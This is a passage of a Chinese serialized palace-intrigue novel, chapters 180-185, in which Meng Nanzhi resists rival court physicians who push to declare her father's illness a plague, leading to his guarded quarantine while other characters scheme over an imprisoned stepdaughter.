然,她话音还未落地,屋子外面便传来两道陌生的声音。
“左相听闻孟相身感风寒,特让太医院派我等前来给孟相诊治。”
第180章 再探病情
“不是下官说的。”
洪太医闻言,下意识先看了眼孟南枝。
孟相生病一事,是他写的病情文书。
也只有他知道孟相的真实病情。
可他真没有对任何人提及孟相生病一事。
孟南枝看了眼洪太医,微微点头。
对于洪太医,她还算信任。
自打父亲重登朝堂那一刻,他们孟家就注定会被众多眼线盯着。
孟南枝与父亲对视一眼,均从对方眼中看到了一丝凝重。
“枝枝,去开门吧。”
孟正德将额上的布巾拿下来,整理了一下衣衫,尽量让自己看起来精神一些。
孟南枝点头,起身迈步走向门口。
厅院内站着两名太医,一人较年长稍胖,面容和蔼,另一人年轻消瘦,低垂的眼神中透着几分精明。
见到孟南枝,双双行了一礼,“孟夫人。”
孟南枝语气平静道:“两位太医远道而来,辛苦了,请进吧。”
既然是左相打着看诊的名义安排而来,那么孟南枝便不可能明着拒绝。
两位太医转身走进屋内,对着孟正德行了一礼。
年长太医恭敬道:“见过孟相,左相听闻您身体有恙,特地让太医院派我等前来为您诊治。”
“两位太医不必多礼。”
孟正德压抬手抑住想要干咳的想法。
“孟相,由下官为您看看吧。”
年轻的太医说罢便想走上前,欲为孟正德把脉。
孟南枝见状,上前一步道:“两位太医,我父亲只是普通的风寒,已经让洪太医诊治过了。”
左相安排过来的人,孟南枝信不过。
她担心父亲不是疫病,也变成了疫病。
年轻太医垂眉强硬道:“孟夫人,左相特命我等务必仔细诊治,还请孟夫人莫要阻拦。”
言罢,年轻太医便欲伸手去拉孟正德的衣袖。
孟南枝眸光一冷,挡在父亲身前,语气坚定道:“你这话是什么意思?我父亲的症状洪太医已详细记录并送至官署。”
“且洪太医医术高明,我父亲目前病情已有所控制,你此时非常诊治,还说出此言,是何居心?”
年长太医闻言,连忙拉住年轻太医的衣袖,语气缓和道:“孟夫人,孟相身为朝中重臣,其身体安康关乎朝堂安稳,多一个人看诊,您也能多一分安心。”
年轻太医在年长太医的示意下,拱道陪礼道:“下官是心急孟相身体,这才言语急切了些,望孟相和孟夫人勿要责怪。”
孟正德终是压抑不住,重重地咳了几声。
孟南枝见状,连忙转过身去拍父亲的后背,“父亲,您怎么样?”
年长太医顺势再道:“孟夫人,您就让我等也为孟相看诊一下吧。”
孟正德咳过后,轻拍了拍女儿的手背,哑声道:“两位太医远道而来,本相自当感激。既然如此,便请两位与洪太医一同看看,本相这病,究竟该如何调理。”
孟南枝无奈,只得退到一旁,往身后站了站。
年轻太医开始为孟正德把脉,神色渐渐凝重。
年长的太医也凑上前,仔细观察着孟正德的气色。
片刻后,年轻太医收回手,与年长的太医对视一眼,然后说道:“孟相此症,并非普通风寒,倒像是……”
他话未说完,孟南枝眸色微凝,沉声打断道:“倒像是什么?难不成两位太医是想说像疫病?”
年轻太医闻言冷不丁地抬眼对上孟南枝的目光,怔了一下。
这确实是他想说的。
就这么被孟南枝说出来,导致他一时卡了壳、
年长的太医斟酌了一下用词,缓缓说道:“孟相此症眼下看是风寒,可确实与近日城外流传的疫病症状有几分相似。”
孟南枝沉声道:“既然只是相似,那就不是,你等便按照风寒给我父亲医治。”
年轻太医道:“此法怕是不妥,孟相此症已经与疫病症状有八分相同,唯一不同的便是未起红疹。”
“若按风寒医治,若是耽误了病情,只怕后果不堪设想,依下官所言,应当立刻报备太医院,按照疫病诊治的好。”
孟南枝目光凌厉地扫过那名年轻太医,“只凭一句症状相似便要将我父亲定为疫病患者,是何居心?”<
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br>“你们刚也说了,我父亲身为当朝重臣,若真被误诊为疫病,不仅会危及他自身性命,更会引发朝堂动荡,你担得起这个责任吗?”
年轻太医被孟南枝的气势所慑,一时语塞。
年长太医则连忙赔笑道:“孟夫人言重了,我等只是奉命行事,绝无他意。只是孟相的症状确实与疫病相似,为了孟相的安危,还是谨慎些为好。”
“谨慎?”
孟南枝冷哼一声,“你们所谓的谨慎就是未查清病情便妄下结论吗?我父亲的症状洪太医已经诊治过,确是风寒无疑。”
“你们若真想为我父亲诊治,便拿出真本事来,查出我父亲真正的病因,而非一味地往疫病上靠。”
两位太医面面相觑。
他们得了命令来给孟相看诊,倒是没想到这孟相女儿会如此难缠。
一而再,再而三,被提起来当做挡箭牌的洪太医缩了缩脖子。
他好想装鸵鸟啊。
孟家的门可真不好进,也不好出啊。
孟正德轻咳一声,缓和气氛道:“枝枝,不得无礼。两位太医也是为了为父的安危着想,既然他们有所疑虑,便让他们再仔细诊治一番便是。”
虽然女儿一直说他是风寒,但他自己却是有些不确定的。
因为他前两天确实有跟流民接触。
他担心自己万一真的是疫病。
反而让女儿落了下乘。
孟南枝见父亲如此说,只得压下心中的不满,再次往后退了两步,给他们让开位置。
两位太医再次上前,为孟正德仔细诊治。
年轻太医眼中暗光流动,拱手道:“孟相,您这病症,确实与疫病相似,下官不敢隐瞒,会如实报备太医院,在此之前您还是按照疫病隔离为好。”
年长太医拱了拱手,表示赞同。
孟南枝闻言冷冷地看了两位太医一眼。
她心中明白,这两位太医不过是左相派来的棋子,想要借机打压父亲。
只是还不待她提出反问,外面又传来宫中内侍特有的尖细嗓音。
“孟相,咱家奉陛下口谕,特来探望您的病情。”
第181章 孟父隔离软禁
“快请。”
孟正德在女儿的协助下,坐直身子。
来人并非是上次来孟府请他回朝的李贵。
而是位陌生的年轻苍白面孔。
他迈着碎步进来,面上带着即看似客套实在试探的笑意。
“孟相,陛下听闻您身体有恙,心中甚是挂念,特命咱家前来探望,并为您带来了一些补品。”
言罢,他一挥手,身后的几名小太监便抬着几个箱子走了进来,将箱子放在地上后,又默默退了出去。
孟正德微微颔首,“有劳公公替本官多谢陛下挂念。”
“孟相乃国之栋梁,您的身体安康,陛下自然是要挂念的。”
内侍说着,状似不经意地扫了眼左相派来的两名太医,一脸关切道:“黄太医,张太医,你们在的正好,不知孟相这病症如何?陛下可是十分担忧呐。”
孟南枝心中一紧,抬眸看向父亲。
孟正德轻轻摇头,示意她不要轻举妄动。
年轻张太医与年长黄太医对视一眼,拱手道:“回公公,据我等诊看,孟相所的病症与城外流民所的疫病非常相似,我等正准备回去报备太医院。”
内侍闻言大惊失色,连忙后退一步,似怕被传染般轻掩了下鼻息,“这,这可如何是好?孟相乃是朝中重臣,又总理户部、工部一职,此刻若是得了疫病,这可……”
本想一直龟缩做鹌鹑的洪太医,轻咳一声,道:“公公,孟相只是病症与疫病几分相似,并非是真的得了疫病。”
病情文书是他写的,出了事他少不了要担责任。
可这公公太也小瞧人了。
他这么大一个太医在旁边站着,不唤他,只唤了那两个。
看不起谁呢。
内侍被打断了情绪,眸中闪过一丝不虞。
他轻瞟了洪太医一眼,却是看向年长黄太医。
“黄太医,此言可真?咱家是奉陛下口谕来探望孟相的,尔等可是要如实回禀。”
黄太医躬了躬身子,“疫病之事涉及整个朝堂,下官不敢妄言。依下官诊看,孟相病症已与疫病有八分相同,应以疫疫病之法谨慎对待,及时报备太医院,以免病情扩散危及更多人。”
内侍听后脸上露出担忧之色,似有为难地看向孟正德。
“孟相,您看这……陛下那边还等着回话呢,若真如黄太医所说,您得的这是疫病,那咱家也不敢瞒着。”
孟正德摆手,“公公只管如实向陛下回禀本官的病情便是。”
他早年间跟着圣上见过太多大风大浪。
对于眼前这些人的算计,他心如明镜。
“那孟相好生休养,咱家这就回了。”
内侍微躬身子正欲退下,孟南枝却是上前一步,轻声道:“公公请留步。”
孟南枝微微福身,神色镇定却又不失礼数,“公公,您见识多广,知道风寒之病本就与疫病相似。”
“我父亲经洪太医诊看,确为风寒,还望公公在回禀陛下时,能将此情况一并说明,待太医院进一步确诊后再做定夺。”
内侍听后,眉头微微一皱。
这孟相的女儿果真如传言那般不仅相当聪慧,还伶牙俐齿得很。
不过他面上却未显露分毫,依旧带着那客套的笑意,“孟姑娘所言极是,咱家回宫后定会将孟小姐的意思转达给陛下。”
“那就有劳公公了,还望公公在陛下面前多美言几句,让太医院尽快派医术精湛之人前来为家父诊治。”
孟南枝再次俯身,并顺手落了块金钿到他袖中。
内侍不动声色地收下,轻点了点头,“这是自然,孟相乃国之重臣,陛下定不会坐视不管。那咱家就不多打扰孟相休养了,告辞。”
说罢,他便带着那几名小太监匆匆离开了孟府。
内侍走后,黄、张太医自然也不便久留,告辞而去。
待几人离去,孟正德终于压制不住的连连咳嗽。
洪太医连忙为其施针,缓解其症状。
孟南枝服侍父亲喝完药后,让他先躺好歇下。
洪太医随孟南枝走到门外,语气沉重道:“孟相他,病情又重了,而且发展速度有点快,照这么下去,下官担心他孟相他……”
他现在已经有九十九分的把握,孟相可能是真的得了疫病。
顿了顿,他又道:“孟夫人,你也要做好防护得好,下官医箱里还有些面纱。”
孟南枝摇头,“我不用,此次多谢洪太医。”
她若戴上面纱,会给父亲带来压力。
到时,只怕父亲会赶她出去,不让她踏进这间房门一步。
独自去承受病情的摧残。
洪太医看孟南枝情绪低沉,劝慰道:“你也别太担心
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,下官回去后会继续研究你给我的药方。”
“虽然昨晚的新药没出什么效果,但却给了下官新的思路。下官觉得,只要再给我两天时间,说不准就能研制出结果来了。”
孟南枝点头,“有劳洪太医费心了。”
“孟夫人不必客气,这都是下官应该做的。”
洪太医躬身告辞。
一个时辰后,禁卫军带着十数名精卫,还有太医院的五名太医踏进了孟府。
“孟夫人,卑职奉陛下口谕,特带太医来为孟相看诊。”
孟南枝盯着他脸上的面纱,还有他身后十数名精卫,眸色闪过冷意,“有劳都尉,请吧。”
五名太医分别为孟正德诊治,均垂眉摇头。
若是平常时刻,这是风寒。
可现在正值疫病,风寒等同于疫病。
尤其是孟相已经上了年纪,这般岁数,怕是不好诊治。
戴着面纱的李都尉与太医交流一番后,对孟正德拱手道:“孟相,为了您的安全,卑职这段时间就暂住孟府了。”
孟正德摆手,示意他退下去。
李都尉又对孟南靶拱了拱手,这才下去,并命令带来的精卫守在孟府门外。
孟南枝眸色微凝。
说好听点,是暂住。
说难听点,这是变相把父亲隔离软禁了。
几名太医也拱手道:“孟相,您不要忧心,我等会在府上寸步不离地为您医治,保证让您早日康复。”
孟正德再次摆手让他们退下。
他很清楚,这些人是真把他当作得了疫病看诊了。
也或许,他真的是得了疫病。
想此,孟正德抬头看向女儿,“枝枝,你也出去吧,我这里有太医照看已经够了。”
孟南枝蹲下身子握住父亲的手,“爹,你是风寒。”
孟正德轻拍她的手背,无奈地笑道:“爹知道,爹是风寒,所以你更要放心,你先出去,爹想睡会儿。”
“爹。”孟南枝不愿。
“去吧。”孟正德抽回手,闭上眼。
孟南枝见状,只得离开。
出了门,她看着院内讨论病情的几名太医,还有门口十步一岗的精卫,眸色凝重。
如果父亲得的真的是疫病。
如果这疫病注定只有陆筝筝能够来解。
她不介意亲自去刑部把陆筝筝放出来。
第182章 林婉柔的算计
刑部,牢狱。
陆筝筝觉得她要疯了。
她已经进来整整三日了,母亲却一次都未曾来看过她。
明明牢役说,陈大人在昨日已经解了母亲的禁罚。
母亲她此刻是可以出府的。
但她为什么不来看她。
镇北侯没来,萧临渊也没来。
那个明明说会娶她为侧妃的男人,从她被南姨状告污蔑她人清白、**的那一刻,好像就变了。
她只是听母亲的话,做了母亲想做的事而已。
又没有做错什么。
为什么要受这样的罪。
“陆姑娘,你的饭。”
因为镇北侯和奕王萧临渊的关系,牢役给陆筝筝送的伙食并不差。
白面馒头配青菜,还有一个鸡蛋和鸡腿。
可陆筝筝却一口也咽不下去,她看了眼隔壁那长得凶神恶煞的**,面上露出一丝怜悯,将饭菜递过去。
“我不饿,还是给你吃吧。”
这是陆筝筝住了三日后,掌握的规律。
一开始那个**总是不仅猥琐,还跟恶鬼一样地看着她。
等她把自己的饭菜递给那个**后,那个**就会老老实实地坐到角落,不再看她。
这是她在牢狱仅能获得的安全感。
牢役见陆筝筝又准备把饭菜给别的**,摇头提醒,“陆姑娘,你还是留着自己吃吧,现在城外在闹疫病。”
“只怕过不了两日,城里的饭菜也供不上了,到时就只能吃些干粮剩饭了。”
他收了银钱给陆筝筝供好菜好饭,若是她一直不吃,等回头人来看她饿瘦了,只怕会问他收回银钱。
陆筝筝闻言,心脏突地停了一瞬,手中的饭菜落在地上。
“你刚说什么?疫病?什么疫病?”
隔壁**见到地上的饭菜,疯狂地拍打栏柱,示意陆筝筝给他捡起来。
陆筝筝却如若未闻,疾步走到牢栏边上,唤住牢役,“你能不能和我说清楚?到底是怎么回事?”
在牢役眼里,陆筝筝就是个手无缚鸡之力的小姑娘,柔柔弱弱的,看起来很可怜。
所以他耐心解释道:“城外流民出了疫病,现在都**了,百姓不敢出门,卖菜的都少的,过几日……”
牢役后面说了什么,陆筝筝根本就没去听。
她只知道城外真的出了疫病。
当初母亲带她出城施粥时,一直有交代她去看那些郎中的诊病记录。
还和她说如果她们能先发现疫病,且能发现治疗疫病的方法,那对她来说必然是大功一件。
届时不仅有了名,奕王萧临渊也会更加爱慕于她。
可现在疫病真按母亲所说发生了,她却困在牢狱之中。
而且,母亲好似还遗忘了她,至今不曾来探望她。
明明她是为了她,才入了狱。
……
镇北侯府。
林婉柔虽然已经解了禁,但她心情并没有多好。
女儿尚在狱中,父亲对她明确提出不满。
让她务必想办法把女儿给保释出来。
孟南枝实在太过工于心计,证人麻子、铁柱已死,算准了让她找不出反口的证据。
沈卿知下朝回来见林婉柔还稳坐在府中,有些生气。
“婉柔,你怎么没去探望筝筝?”
昨日解禁时,他便和她提及让她去看陆筝筝,她以天色太晚为由未去,他能理解。
可今日呢,他都入完早朝回来了,她却还未曾去。
她以前对沈砚修他们几个都要比陆筝筝好。
林婉柔见沈卿知面色不善,面色温婉地起了身,为他解开官服,“侯爷,妾身这不是在等您回来嘛。”
取下官服,林婉柔又取来常服为沈卿知套上,言辞当中一副没有主心骨的模样。
“妾身不是不去探望筝筝,妾身实在是不敢一个人去见筝筝,妾身怕筝筝在里面吃了不少苦,妾身就这么一个女儿,哪里能放得下心。”
说到此处,眼中便又落了泪。
沈卿知见状重重地呼出一口气,短须微翘,“本侯已经和牢役打过招呼,筝筝在里面不会吃苦,你让丫鬟陪你一起去。”
他是不能去的。
要避嫌。
从前日孟南枝状告陆筝筝开始,官署的同僚看他的目光就又开始不正
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常了。
他与孟南枝和离,他可以解释是孟南枝善妒,**也容不得他续弦娶妻。
可继女污蔑前妻清白,还**一事,让他该如何解释?
若是不能证明陆筝筝的清白,他只怕会更加成为满京笑话中的笑话。
见沈卿知不愿陪她一起去,林婉柔为他系扣子的动作顿了顿。
面上却依旧温婉柔声道:“侯爷,妾身思来思去,还是觉得应该想个万全的法子把筝筝给保出来为好。”
“你有好的法子吗?”
沈卿知点头,这也是他所希望的。
尤其是在他做了那些梦之后。
他现在比任何人都希望陆筝筝早点出狱,赶紧名声大燥,攀上高枝,带他荣登国公之路。
林婉柔泪目盈盈,“侯爷,妾身愚笨,实在是想不来好的方法,但妾身保证,筝筝她真不会做出此事,她是冤枉的。”
“这个本侯知道,本侯自然是信筝筝的。”
老生常谈,沈卿知不愿在此和林婉柔多说。
他只想知道有没有法子能把陆筝筝给保出来。
林婉柔擦了擦眼泪,道:“侯爷,妾身在您回来前,刚听说孟叔伯得了疫病,被隔离禁足了。”
“孟相得了疫病?”
沈卿知双目瞪大,不敢置信。
他早朝时还奇怪孟相竟然不在,听同僚说是得了风寒,原来竟然是疫病。
可他的梦里,孟相好似并未得疫病。
也罢,反正他梦里的情景跟现实没几个能对照上。
林婉柔点头,“怕是错不了,是父亲派人送来的消息。”
“听说左相一早派了太医去给孟叔伯看诊,接着李都尉又带着几名太医进了孟府。”
沈卿知蹙眉,“孟相的疫病,跟陆筝筝被保有关系吗?”
虽然他那不靠谱的梦里,是陆筝筝发现了医治疫病的方法。
可现在陆筝筝被困在牢狱,想医治也医治不了。
林婉柔温柔的语气中带着蛊惑,“侯爷,您说若是我们有了医治疫病的法子,治好孟叔伯的病。”
“能不能跟南枝交换一下,把筝筝保出来?“
第183章 沈卿知的心思
“那可是疫病,连太医院暂时都没有办法。”
沈卿知觉得林婉柔简直异想天开,话天际之大谈。
似想到什么,沈卿知眸色凝重地看向林婉柔,“你知道医治方法?”
林婉柔垂眉为他打理好衣襟,状似责怪,实则亲昵地嗔了他一眼,柔声软气道:“妾身怎么可能会知道医治方法?”
“侯爷您忘了,此前太后南霄别苑养病时,您推荐给太后的那名郎中,对医难杂症颇有研究,妾身想着或许可以请他来试试。”
沈卿知闻言瞪大眼睛,“他回来了?你见着他了?”
前两年,林婉柔偶感不适,经常食不下咽,看遍满京郎中也无效果。
沈卿知外出时,遇到一名郎中,夸口说其能诊百病。
他便将其带回为林婉柔诊治,结果那郎中确实有几分本事。
没用几日,便将林婉柔的病给医治好。
大概过了月余,太后也感不适,食不下咽,与林婉柔症状类同。
经太医院多方诊治也未见成效后,太后自觉时日无多,忧心之余,便去了南霄别苑养病。
沈卿知趁着女儿沈朝昭给太后请安的功夫,再次寻到那名郎中去了南霄别苑。
经那名郎中诊治后,太后与林婉柔一般,没过几日,身子便好。
太后大喜,本想破格直接让那名郎中进入太医院。
结果那名郎中却以不喜拘束为由,拒绝了别人求都求不来的机会。
不过好在太后将此功记在了他沈卿知的头上,不仅赏赐了他不少金银财宝,还在圣上面前对他多了几番赞誉。
而那郎中,经此一事,按理说该在京中声名大噪。
可却不想他转眼就同沈卿知告辞出了京都,说什么出来久了,要回家看看老母和孩子。
经此一别,沈卿知再也没有见过他的人。
“那郎中现在就在侯府后院呢,侯爷要不要见见他?”林婉柔点头,一边说着,一边观察沈卿知的神色。
“虽说如今太医院都对疫病之法束手无策,可万一这位医师有独特之法呢?毕竟他当初也治好了太医院都没有头绪的病症。”
“他若真能研治出疫病之法,治好孟相的疫病,到时候我们再与南枝提及保释筝筝之事,想来她也会看在这份情面上应下的。”
什么孟相不孟相,南枝不南枝的。
沈卿知此刻完全没有听到。
他的注意力全集中在这名郎中真有可能研制出疫病之法了。
毕竟他的那个梦中,疫病之法可是陆筝筝提出的。
如果陆筝筝没有入狱,在他眼里一向疼女儿的林婉柔,是不是就把这名突然出现的郎中,直接交由陆筝筝一起去城外探看流民了?
那么这名“不喜功名”的郎中,若真的研制出了疫病之法,也就归属在了陆筝筝名下。
怪不得他还觉得奇怪,没有医学天分的陆筝筝,怎么会在梦里突然就能和奕王一起解决疫病了呢。
原来问题出在这里。
如今陆筝筝尚在狱中,这郎中若真的研制出了疫病之法。
那名声,是不是就是他的了?
想到此处,沈卿知面色激动地同林婉柔说道:“婉柔,你快带我去看看。”
完全忽略了林婉柔是怎么突然就找到那名郎中的。
……
皇宫,御书房。
萧潜雍看着手中的折子,眉头越皱越深。
内侍李贵垂眉瞧了一眼,低声劝慰,“陛下,您忙了一日了,歇息一下吧。”
萧潜雍将折子甩在地上,冷哼道:“正德自回朝堂,一日不曾闲着,不过是染了风寒,孙敬之(左相)这个老匹夫就派太医过去试探。”
“如今朕已依律将正德暂时隔离,这群老臣竟然一日三份折子地递上来,说什么户部、工部一日不能无主事,请求左相继续兼管两部。”
萧潜雍面色阴沉,有些昏花的眼睛里闪过冷意,“他们是真觉得朕不会罔顾律法,砍了他们的脑袋是不是!”
李贵躬身捡起地上的折子,小心翼翼地放回桌案上。
“陛下,您消消气。大人们此举,或许也是担忧朝堂局势
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,才会出此下策。毕竟孟相突然染病隔离,两部事务堆积如山,总得有人暂代其职,以免生出乱子。”
李贵轻声说着,试图缓和萧潜雍的怒气。
“担忧朝堂局势?朕看他们就是故意趁正德生病,想趁机揽权!”萧潜雍冷哼一声,站起身来。
“那孙敬之,仗着自己是两朝元老,根深地厚,竟敢在朕的眼皮子底下玩这种把戏。他莫不是以为,朕当真不敢动他这棵老树根?”
涉及重臣之事,李贵不敢多言,静静地站在一旁,背弯得很深,几乎要贴在膝盖上。
萧潜雍发泄完脾气,看向李贵,语气缓和道:“正德现在如何了?”
李贵趁机端了温茶递给他,“回陛下,已经按照您的吩咐,派了李都尉带着六名太医去为孟相诊看了,想来不日孟相的病情便会好转。”
萧潜雍接过茶盏轻抿一了口,“那孟南枝呢?最近在忙什么?”
他始终记得,九曲河决堤一事,是她回来后孟正德提出的。
九曲河决堤的证据,也是她发现后,由曹国公府的嫡长女曹宛清递交上来的。
很低调,也很聪慧。
跟孟正德年轻时很像。
颇有他们两个的作风。
李贵回道:“自出了疫病,那孟姑娘便避府未出,还称病见了洪太医。孟相病后,她便一直在府中照顾孟相。”
“洪太医?”萧潜雍蹙眉,“朕记得正德的病情文书就是他写的吧?好似给孟南枝诊断水邪闭窍之症的那名太医也是他?”
李贵垂眉,“回陛下,正是他。”
萧潜雍重新坐回椅子上,“孟南枝见过他后,他做什么了?”
李贵平述道:“洪太医从孟府出去后,研制出了三味新药,让太子府的幕僚带着出城给流民食用,结果其中一味新药,流民食用后病情加重了。”
听到此处,萧潜雍眉头跳了一下。
“你去和院首说一声,让他重点派人研究一下洪太医的新药。”
“是,陛下。”
李贵闻言躬身退下。
第184章 姨娘,快叫洪太医来
沈砚珩和沈朝昭得知外祖父竟是被诊断为疫病后,再也在院内待不住。
一个个跑到了正厅寻母亲。
“母亲,外祖父不是风寒吗?是不是诊错了?”
沈砚珩怎么也不相信外祖父会得疫病。
“肯定是诊错了。”
沈朝昭认同地点头,“母亲,我从避暑山庄回来,一路上接触的流民不是比外祖父更多,我都没事,外祖父更不可能有事。”
孟南枝示意他们两个坐下,“有太医在,你们两个不要担心了,这几日你们就在自己的院子里待着,不要出来。”
沈砚珩在孟南枝身侧坐下来,“母亲,你这两日照顾外祖父也累坏了,我年轻,身体好,从今日开始,就由我来照顾外祖父吧。”
沈朝昭争着坐在另一侧,拉住孟南枝的衣角,“我来,让我来,我很会照顾人的。”
沈砚珩撇嘴,“朝昭,你就算了,你连你自己都照顾不好,回屋好好歇着吧。”
“瞧不起谁呢?”
沈朝昭扬了扬下巴,一脸傲娇,“太后在避暑山庄不舒服时,我还贴身照顾过几日呢,太后都夸我长大了,会照顾人了。”
“好了。”
孟南枝一手握住他们的一只手,叠放在一起,温声道:“母亲知道你们的心意,外祖父也知道你们的心意。”
“你们听母亲的,回到自己的院子,**书也好,练武也好,只要把自己照顾好,就是对母亲和外祖父最大的帮助了。”
“你们若是不小心生了病,不仅自己受苦,还会让外祖父心里难受,母亲也会分身乏术,无法全心照顾外祖父。”
沈砚珩和沈朝昭闻言互看一眼。
纵使心中依旧担忧和不甘,却也都知道母亲说得在理。
只能默默地点头。
哄着次子和女儿回到自己的院子后,孟南枝盯着刘嬷嬷带回来的管制药,陷入沉思。
明明她把巨幕中曾出现的药引全部写下来,交给了洪太医,为什么制出来的药却不对呢?
百思不得其解,孟南枝让刘嬷嬷把药收起来,准备起身去探望父亲,却听到外面传来喧闹声。
“站住!孟府现被封禁,任何人都不得出入。”
李都尉声如洪钟。
“这是我家,我为什么不能进去?”
胡姨娘?
她怎么来了?
孟南枝连忙疾步走向厅外,果见胡姨娘带着丫鬟站在门口试图闯进来。
见到孟南枝出现,胡姨娘眸中全是担忧,“枝枝。”
孟南枝平复下情绪,往前走了几步,却并未靠得太近地同她微福了一礼,“柠姨。”
这是要与她撇清关系。
胡姨娘双目瞬间酸涩,“你这孩子今日怕是睡傻了吧,我是你姨娘啊,快和这位都尉说一声,让我进去。”
“怎么我自己的家,还回不来了?”
胡姨娘说罢,抬手便去推李都尉的长戈。
只是她那双手,却是抖的。
孟南枝掩饰眸中情绪,语气平静道:“李都尉,还请将她拦下,她是我柠姨,却并不在府上居住。”
蒙着面纱的李都尉看了眼孟南枝,抬起长戈将胡姨娘往后推了推。
面无表情道:“朝廷有令,孟府封禁期间概不接纳外客,违者以通疫论处。”
胡姨娘红了眼眶,并不惧怕地顶着长戈,往前一步道:“枝枝,你让我进去,让我看看老爷,老爷他病得是不是很严重?”
“你知道的,在这个时候老爷他是需要我的,这么多年我知道老爷他病时哪里不舒服,怎么照顾才能让他觉得妥帖。”
“枝枝,你就让姨娘进去吧。”说到最后,胡姨娘控制不住的眼睛如线一样掉落下来。
她本来是想去布庄的,结果在路上听说孟相竟然得了疫病。
心一慌,便马不停蹄地跑了过来。
老爷他年纪大了,若是得了疫病,她担心他撑不过去。
她是恼他、恨他这么多年心里始终没有自己。
可偏偏听他生了病时,自己就是放不下去。
孟南枝面上扯出一丝笑容,安抚道:“柠姨,我爹他只是得了风寒,不严重的,等过两日,等父亲好了,我让父亲去看您。”
“你骗我。”胡
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姨娘摇头。
孟南枝越是这么说,她越不放心。
她握住李都尉的长戈,面色坚定道:“都尉,你好好看看我这张脸,我是孟相的妾室,是孟府的小半个主子。”
“这是我的家,你让我进去。”
李都尉表情有些松动。
他确实认得胡姨娘这张脸,知道她是孟相的妾室。
但他得到的命令却是任何人不得进出。
孟南枝见状,终是又往前走了两步,到了胡姨娘跟前,低声道:“柠姨,你先回去,等明日你再过来。届时若是父亲还没有好转,你再进府。”
“当真?”胡姨娘闻言停下闯进去的举动。
孟南枝点头,“当真。”
胡姨娘擦了擦眼角的泪珠,“你爹他真的只是风寒?”
孟南枝再次肯定地点头,“是风寒,回去吧柠姨。”
胡姨娘这才呼出一口气,道:“那我明日过来,你可一定要让我进府。”
孟南枝微微颔首,却未应声。
怕胡姨娘不走,孟南枝率先转过身不去看她,同刘嬷嬷一起去了父亲的院子。
到了父亲屋内时,孟正德已在观棋的服侍下坐了起来。
他看着进来的女儿,语气低沉,声音沙哑,“玉柠来了?”
孟南枝点头,坐在他床边的矮凳上,端起汤药喂他,“我已经让她回去了。”
“好,是不该让她来。”
孟正德喝完药,绷紧的身子松懈下来。
结果不过片刻,便开始重重地咳了起来,还带着重喘,面色涨红得似喘不过气。
“太医,太医。”孟南枝见状急忙唤道。
一旁守着的太医连忙跑到跟前,拍起背部,助他咳出浓痰,并为其施针缓解其症状。
几名太医再次轮番诊看后,其中一名太医突然不解开口道:“是不是这药有问题,怎么孟相喝完之后病情反而更严重了?”
孟南枝闻言,脑中突然闪过一道亮光。
她快步跑到门口,果真看到还未离开的胡姨娘,急切地叮嘱道:
“姨娘,姨娘,你快去叫洪太医来,快去。”
第185章 别撵姨娘出去
胡姨娘没有多问,跌跌撞撞地跳上马车就去寻洪太医。
孟南枝还未来得急转身,曹宛清却也乘着马车赶过来。
她仿佛一夜未眠,脸色有些发黄,眼下发黑,眉目间全是掩饰不住的担忧。
“南枝,你怎么样?孟叔叔还好吗?”
孟南枝面上维持浅笑,“我没事,我父亲也还好。”
曹宛清隔着守门的精卫同她解释,“我父亲本想下朝后便来探望孟叔叔的,只是他实在是抽不开身子。”
有外人在场,很多事情她不好明说。
父亲追查粮商一事,查到二皇子后,不信邪的继续深查,却什么也查不出来了。
城外疫情扩散,父亲只得把此事先放到一边,带着整个曹国公府忙上忙下。
她母亲这两日也有些不舒服,正对外瞒着,不敢寻太医,只敢让府内郎中看诊。
而她弟弟曹景行也已经整整两日不曾回府,不知道到底是在忙些什么。
“宛清姐,你照顾好自己。”
孟南枝能理解。
曹宛清点头,接过身后丫鬟带着的药材递给她。
“这里面是这两日院首他们给流民用的药,虽然还没有彻底根治,但也能暂时控制病情。”
孟南枝没有同她客气地接过来,“让宛清姐费心了。”
“我能进去吗?”曹宛清看了眼十步一岗的精卫,试探地问道。
孟南枝轻轻摇头,“宛清姐,你快回去吧。”
曹宛清也知道孟父被诊断为疫病后,她进去的可能性不大,往身后扬了扬下巴。
“那好,我安排了两个小厮在你们府外面候着,你若有什么需要,只管吩咐他们去寻我。”
孟南枝看向她的身后,果见两名看起来非常能干的两名小厮,便点头应下。
曹宛清又叮嘱了她几句注意身体之类的话,才带着丫鬟转身离去。
“夫人,这药要煎了吗?”月芹接过孟南枝手里的药包。
“等等。”
孟南枝摇头,她需要等洪太医过来,和他确认一件事。
胡姨娘没让孟南枝多等,很快就带着洪太医到来。
洪太医斜背着药箱,满头大汗,一向注重仪表的发间沾了几片干枯草药。
孟南枝对李都尉微微颔首,“劳烦李都尉允洪医太进来。”
“这……”
李都尉迟疑。
孟南枝见状,神色凝重道:“李都尉,这几日一直是洪太医为我父亲诊看,对于我父亲的病情他最是了解,你也不想我父亲的病情受到延误吧。”
说到最后一句时,孟南枝加重了语气。
她此前未曾和他多说一句,是因为父亲不让她轻举妄动。
可牵扯到父亲的病情,孟南枝是绝对不可能退让的。
李都尉对上孟南枝的视线,心中猛然一凛。
想到他来孟府前李内侍的交代,拱手道:“夫人所言极是,是本都尉考虑不周,洪太医,你且进去吧。”
李都尉目光中多了几分敬重,挥手示意精卫让出通道。
洪太医匆匆行了一礼,背着医箱快步踏入府内。
因担心老爷病情的胡姨娘,也趁机抬脚跟着往里走。
李都尉眸子闪了闪,没拦着。
孟南枝见状,面露无奈,“姨娘,你莫要进府了,回去吧。”
胡姨娘拽住她的手腕,双目泛红道:“枝枝,让我看看老爷,我不放心。”
“姨娘。”
孟南枝这才发现胡姨娘的整个身子都在发颤。
连忙扶着她,让她半压在自己身上,并示意月芹和自己一起扶着她。
孟南枝轻拍她的后背,试图让她放松下来。
“姨娘你别想太多,我爹他没事,很快就会好起来的。”
胡姨娘缓了几息,发颤的身子才停下来,看向孟南枝的目光里皆是哀求。
“枝枝,别撵姨娘出去。”
那喉间压抑的哽咽,让孟南枝眼角瞬间发了酸。
心知今日不可能再赶她离开,孟南枝轻点了点头。
“好。”
胡姨娘得到她的认可,抬手擦了擦眼角溢出的泪花,理顺刚因着急跑乱的发髻,才轻声道:“我去看看老爷。”
“嗯。”
孟南枝看着她疾步走向父亲的院子,这才带着洪太医走进厅堂。
“洪太医,我记得你曾说,你根据那几个药引研制出来的一味新药
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,流民食用后病情加重,咳得反而更加严重了对不对?”
洪太医点头,“确实如此。”
说起来,他还觉得奇怪,那味药明明是他觉得最有可能成功的。
偏偏就是那味药方,流民用后,反而出问题。
“洪太医,你把那味药方,写下来给我看下。”
